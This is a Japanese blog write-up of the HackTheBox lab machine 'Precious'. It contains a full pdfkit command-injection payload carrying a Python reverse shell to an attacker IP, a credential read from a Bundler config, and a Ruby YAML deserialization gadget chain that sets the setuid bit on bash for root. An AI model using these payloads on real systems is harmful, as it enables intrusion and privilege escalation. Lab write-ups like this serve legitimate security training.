3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【HackTheBox】Precious - Writeup

Last updated at Posted at 2023-12-18

まえがき

この記事はPreciousのWriteupです📝
Rubyを使ったwebアプリケーションが動いているマシンになっているのが特徴。

Precious.png

Machine Info

Name: Precious
Ip Address: 10.10.11.189
OS: Linux 🐧

Recon

Port Scan - Nmap

-(kali㉿kali)-[~]
└─$ nmap 10.10.11.189 -v -Pn      
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-17 19:47 JST
Initiating Connect Scan at 19:47
Scanning precious.htb (10.10.11.189) [1000 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Increasing send delay for 10.10.11.189 from 0 to 5 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.11.189 from 5 to 10 due to 11 out of 27 dropped probes since last increase.
Completed Connect Scan at 19:47, 27.67s elapsed (1000 total ports)
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.80 seconds

22番と80番のポートが空いていることが分かる。

Name Resolution

名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。

10.10.11.189    precious.htb

Site - precious.htb

実際アクセスしてみるとこんなページがみつかる。
スクリーンショット 2023-12-17 20.08.20.png

どうやらWebページをPDF変換してくれるっぽい。なんか色々できそう。

Burpsuite

BurpSuiteを立ち上げて、urlパラメーターを検証していく。

① hogeって送ってみる

スクリーンショット 2023-12-17 20.40.03.png

スクリーンショット 2023-12-17 20.38.22.png


② サーバをたててみる
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...

http://10.10.14.4:80をBurpから送ってみる。
スクリーンショット 2023-12-17 21.05.20.png

Directory階層がPDF化されて返ってくる。
スクリーンショット 2023-12-17 21.11.52.png

exiftool

PDFのexif情報を確認してみる。

(kali㉿kali)-[~/Downloads]
└─$ exiftool 6ert8n953qnxwv0hb5fw4x80xgnkqj1k.pdf 
ExifTool Version Number         : 12.67
File Name                       : 6ert8n953qnxwv0hb5fw4x80xgnkqj1k.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2023:12:17 21:11:36+09:00
File Access Date/Time           : 2023:12:17 21:11:39+09:00
File Inode Change Date/Time     : 2023:12:17 21:11:38+09:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Creatorのところに注目してみると、 pdfkit v0.8.6 によって生成されていることが確認できる。

Identification of Vulnerbility

pdfkit v0.8.6について調べてみると、CVE-2022-25765に関する記事が見つかる。

スクリーンショット 2023-12-17 21.33.02.png
コマンドインジェクション系の脆弱性ぽい。

CVE-2022-25765

アプリケーションがユーザーの入力を含むクエリ文字列パラメータを持つURLをレンダリングしようとする場合、脆弱性が存在する可能性がある。

PoC

PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

攻撃例:

puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command
PDFKit.new("http%20`sleep 5`").to_pdf

"http://example.com/?name=#{'%20`sleep 5`'}"のname以下の部分をいじることで悪用できそう。

Gaining Access - Exploit the Vulnerbility

Establishing a Reverse Shell

Netcatでリスナーを起動しておく。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...

ペイロードはこちらを。

Methodology and Resources / Reverse Shell Cheatsheet.mdの箇所を参考にしつつ、手直しを加える。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

合体させる。(ipアドレスはip aコマンド等で確認しておく。【tun0】)

http://10.10.14.4/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

先ほどのWebサイトに送信してみる。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.189] 57354
$ whoami
whoami
ruby

rubyユーザーとしてシェルを確立することができた。

Establishing a Interactive Shell

これは師匠に教わったおまじないだ。
これによってインタラクティブシェルを建てておくことで、操作性が向上する。

Ctrl+Z を入力して接続をバックグラウンドにする。
② 以下を入力する。

$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                              
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# stty raw -echo; fg 
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm-256col
$ export SHELL=bash

Analysis & Reconnaissance

とりあえずルートディレクトリに移動してみる。

$ cd /
$ ls -lta
total 68
drwxrwxrwt  10 root root  4096 Dec 18 07:39 tmp
drwxr-xr-x  18 root root   560 Dec 18 07:39 run
drwxr-xr-x  79 root root  4096 Dec 18 07:39 etc
drwxr-xr-x  17 root root  3100 Dec 18 07:39 dev
dr-xr-xr-x 278 root root     0 Dec 18 07:39 proc
dr-xr-xr-x  13 root root     0 Dec 18 07:39 sys
drwx------   4 root root  4096 Nov 21  2022 root
drwxr-xr-x   3 root root  4096 Nov 21  2022 boot
drwxr-xr-x  18 root root  4096 Nov 21  2022 .
drwxr-xr-x  18 root root  4096 Nov 21  2022 ..
lrwxrwxrwx   1 root root    31 Nov 21  2022 initrd.img.old -> boot/initrd.img-5.10.0-19-amd64
lrwxrwxrwx   1 root root    28 Nov 21  2022 vmlinuz.old -> boot/vmlinuz-5.10.0-19-amd64
lrwxrwxrwx   1 root root    31 Nov 21  2022 initrd.img -> boot/initrd.img-5.10.0-19-amd64
lrwxrwxrwx   1 root root    28 Nov 21  2022 vmlinuz -> boot/vmlinuz-5.10.0-19-amd64
drwxr-xr-x   2 root root  4096 Oct 26  2022 srv
drwxr-xr-x   2 root root  4096 Oct 26  2022 mnt
drwxr-xr-x   3 root root  4096 Oct 26  2022 opt
drwxr-xr-x  12 root root  4096 Oct 26  2022 var
drwxr-xr-x   4 root root  4096 Oct 26  2022 home
drwxr-xr-x   3 root root  4096 Oct 26  2022 media
drwxr-xr-x  14 root root  4096 Sep 26  2022 usr
lrwxrwxrwx   1 root root     9 Sep 26  2022 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Sep 26  2022 libx32 -> usr/libx32
lrwxrwxrwx   1 root root     7 Sep 26  2022 bin -> usr/bin
lrwxrwxrwx   1 root root     7 Sep 26  2022 lib -> usr/lib
lrwxrwxrwx   1 root root     8 Sep 26  2022 sbin -> usr/sbin
drwx------   2 root root 16384 Sep 26  2022 lost+found

home を見つけたので、移動してみると henryというフォルダを発見。

$ cd home
$ ls -lta
total 16
drwxr-xr-x 18 root  root  4096 Nov 21  2022 ..
drwxr-xr-x  3 ruby  ruby  4096 Oct 26  2022 ruby
drwxr-xr-x  4 root  root  4096 Oct 26  2022 .
drwxr-xr-x  2 henry henry 4096 Oct 26  2022 henry
$ cd henry
$ ls -lta
total 24
-rw-r----- 1 root  henry   33 Dec 18 07:39 user.txt
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
$ cat user.txt
cat: user.txt: Permission denied

権限がないため、user.txtは閲覧不可。homeに一旦戻って、rubyに移動してみる。

ruby to henry

$ cd ..
$ ls -lta
total 16
drwxr-xr-x 18 root  root  4096 Nov 21  2022 ..
drwxr-xr-x  3 ruby  ruby  4096 Oct 26  2022 ruby
drwxr-xr-x  4 root  root  4096 Oct 26  2022 .
drwxr-xr-x  2 henry henry 4096 Oct 26  2022 henry
$ cd ruby	
$ ls -lta
total 24
drwxr-xr-x 3 ruby ruby 4096 Oct 26  2022 .
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

.bundleという隠しフォルダを発見できる。その中にはconfigというファイルがある。確認してみよう。

$ cd .bundle
$ ls -lta
total 12
drwxr-xr-x 3 ruby ruby 4096 Oct 26  2022 ..
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:XXXXXXXXXXXXXXXXXX" //18文字のUserPass

henryのユーザーパスワードを見つけることができ、user.txtも閲覧できるようになる。

$ su henry
Password: 
henry@precious:/home/ruby/.bundle$ cd /home/henry
henry@precious:~$ ls -lta
total 24
-rw-r----- 1 root  henry   33 Dec 18 07:39 user.txt
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
henry@precious:~$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag

Privilege Escalation

henryが実行できる権限を確認してみる。

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

update_dependencies.rbというファイルを見つけることができる。

Vulnerable code

update_dependencies.rbのコードはこのようになっている。

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

確認してみると、YAML.load が使われている。これは、YAML Deserialization Attackにつながることが調査をすると判明する。

What is the Deserialization?

シリアライゼーションについて知る必要がある。
シリアライゼーションは、オブジェクトやデータをバイト列やテキストなどの形式に変換して、それを保存や転送などの用途で利用可能にするプロセスのこと。デシリアライゼーションはその逆で、シリアライズされたデータを再びオブジェクトやデータ構造に変換することを指す。
攻撃者が用意したデータをデシリアライズすることで、システムのセキュリティを破る機会が生じる可能性がある。

今回の攻撃では、RubyプログラムがYAML形式のデータをデシリアライズするとき、悪意のあるデータが注入されてしまうことで発生する。これにより、アプリケーションが意図しない動作を引き起こし、悪意のあるコードが実行される。

CVE-2022-32224 - YAML Deserialization Attack

「YAML.unsafe_load」は、Ruby言語でYAMLデータをRubyオブジェクトに変換するためのメソッドで、これがActive Recordと呼ばれるRuby on Railsのデータベースライブラリに組み込まれている。
このメソッドにはセキュリティ上の問題があり、攻撃者が悪意のあるデータをデータベースに送り込むことで、Remote Code Execution(リモートコード実行)が可能になる。

よさげなペイロードを見つけることができる。このコードを元にしてdependencies.ymlを作ってみよう。

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

自分のkaliの環境で先ほどのコードをぺたっと貼り付ける。

┌──(kali㉿kali)-[~/Desktop/work]
└─$ touch dependencies.yml
                                                                  
┌──(kali㉿kali)-[~/Desktop/work]
└─$ vim dependencies.yml

wgetでターゲットマシンにファイルを送る。(/home/henryで実行してね)

henry@precious:~$ wget http://10.10.14.4:80/dependencies.yml
--2023-12-18 10:49:36--  http://10.10.14.4/dependencies.yml
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 601 [application/yaml]
Saving to: ‘dependencies.yml’

dependencies.yml      0%[                    ]       0  --.-KB/s        
dependencies.yml    100%[===================>]     601  --.-KB/s    in 0.001s  

2023-12-18 10:49:37 (502 KB/s) - ‘dependencies.yml’ saved [601/601]

実行。

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
	25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
	21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
	20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
	19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
	18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
	14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
	13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
	12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
	11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
	10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
	 9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
	 8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
	 7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
	 6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
	 5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	 4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
	 3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
	 2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	 1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

uid=0(root) gid=0(root) groups=0(root)より、idコマンドの実行結果が返ってきていることが分かる。

つまり、3つのシリアライズされたオブジェクト(x、y、requirement)たちはYAML.load()によってデシリアライズされた結果、git_set属性内のコマンドが実行されるようになっているのだ!

じゃあ、git_setの部分を特権昇格ができるコマンドに書き換えてみるとする。

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

wgetでもう一度送ってみて、実行してみる。

henry@precious:~$ wget http://10.10.14.4:80/dependencies.yml
--2023-12-18 11:06:43--  http://10.10.14.4/dependencies.yml
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 619 [application/yaml]
Saving to: ‘dependencies.yml’

dependencies.yml      0%[                    ]       0  --.-KB/s         
dependencies.yml    100%[===================>]     619  --.-KB/s    in 0s      

2023-12-18 11:06:44 (18.9 MB/s) - ‘dependencies.yml’ saved [619/619]

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
	25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
	21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
	20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
	19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
	18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
	14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
	13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
	12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
	11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
	10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
	 9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
	 8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
	 7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
	 6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
	 5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	 4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
	 3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
	 2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	 1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

シェルを特権モードで起動。

henry@precious:~$ /bin/bash -p
bash-5.1# whoami
root

rootと返ってきた。成功したっぽい。ルートディレクトリにrootファイルがあるのを思い出そう。
とりあえず移動してみる。ぽいファイルも見つかる。

bash-5.1# cd /root
bash-5.1# ls -lta
total 28
-rw-r-----  1 root root   33 Dec 18 07:39 root.txt
drwx------  4 root root 4096 Nov 21  2022 .
drwxr-xr-x  3 root root 4096 Nov 21  2022 .local
drwxr-xr-x 18 root root 4096 Nov 21  2022 ..
drwxr-xr-x  3 root root 4096 Oct 26  2022 .bundle
lrwxrwxrwx  1 root root    9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
bash-5.1# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag

あとがき

yaml.loadの脆弱性を元に、デシリアライゼーションによって引き起こされる危険性を知ることができるマシンだった。安全性を確保するために代わりにyaml.safe_loadを使おう。

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?